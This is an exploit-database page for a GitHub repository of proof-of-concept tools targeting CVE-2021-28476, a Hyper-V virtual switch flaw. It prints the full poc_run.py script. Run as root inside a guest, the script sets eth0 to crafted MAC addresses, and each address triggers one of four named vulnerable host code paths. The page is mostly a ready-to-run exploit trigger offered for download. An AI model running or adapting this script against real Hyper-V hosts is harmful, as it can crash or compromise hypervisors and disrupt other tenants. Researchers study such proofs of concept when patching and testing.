Exploit databaseDownload repository ZIP
GH-49c686b86947010754e2ec0205aca38d
laceeka/cve-2021-28476-tools-env
Sources for CVE-2021-28476
6 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files9
laceeka/cve-2021-28476-tools-envRevision ba2188bfcf3c
- ↑..Parent directory
- add_to_path_tools.sh
- del_to_path_tools.sh
- poc_cfg_deps.py
- poc_compile.py
- poc_init.py
- poc_isload.py
- poc_load.py
- poc_run.py
- poc_unload.py
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
tools/poc_run.py
Suggested starting filePython · 1,999 bytes#!/usr/bin/python3
from os import system,getuid
from sys import argv
def _0vercl0ck_run():
if getuid() != 0:
print("[*] Run Only UID==ROOT")
exit()
system("ifconfig eth0 hw ether 00:11:22:33:44")
def p_help():
print("""
*poc_run execute proof of concepts for CVE-2021-28476*
use:
poc_run.py <poc enum exec>
args:
<poc enum exec>:
description:
enumerate for execute proof of concepts
values:
"1" -> exec poc for VmsIfrInfoParams_OID_SWITCH_NIC_REQUEST
"2" -> exec poc for VmsIfrInfoParams_OID_SWITCH_NIC_UPDATED
"3" -> exec poc for VmsIfrInfoParams_OID_NIC_SWITCH_ALLOCATE_VF
"4" -> exec poc for VmsIfrInfoParams_NDIS_NIC_SWITCH_VPORT_PARAMETERS
""")
def not_found_case():
print("[-] Invalid poc enum exec")
print("pass \"help\" to view enum exec POC's")
def poc_call(NR_POC):
system("ip link set dev eth0 down")
system("ip link set dev eth0 addr %s" % NR_POC)
system("ip link set dev eth0 up")
def run(poc_enum_exec):
if poc_enum_exec == "1":
print("[*] exec poc for vuln code:\n\tVmsIfrInfoParams_OID_SWITCH_NIC_REQUEST")
poc_call("fe:01:00:00:00:00")
elif poc_enum_exec == "2":
print("[*] exec poc for vuln code:\n\tVmsIfrInfoParams_OID_SWITCH_NIC_UPDATED")
poc_call("fe:02:00:00:00:00")
elif poc_enum_exec == "3":
print("[*] exec poc for vuln code:\n\tVmsIfrInfoParams_OID_NIC_SWITCH_ALLOCATE_VF")
poc_call("fe:03:00:00:00:00")
elif poc_enum_exec == "4":
print("[*] exec poc for vuln code:\n\tVmsIfrInfoParams_NDIS_NIC_SWITCH_VPORT_PARAMETERS")
poc_call("fe:04:00:00:00:00")
else:
not_found_case()
def main(argc,argv):
if getuid() != 0:
print("[*] Run Only UID==ROOT")
exit()
if argc != 2:
not_found_case()
elif argv[1] == "help":
p_help()
else:
run(argv[1])
if __name__ == "__main__":
main(len(argv),argv)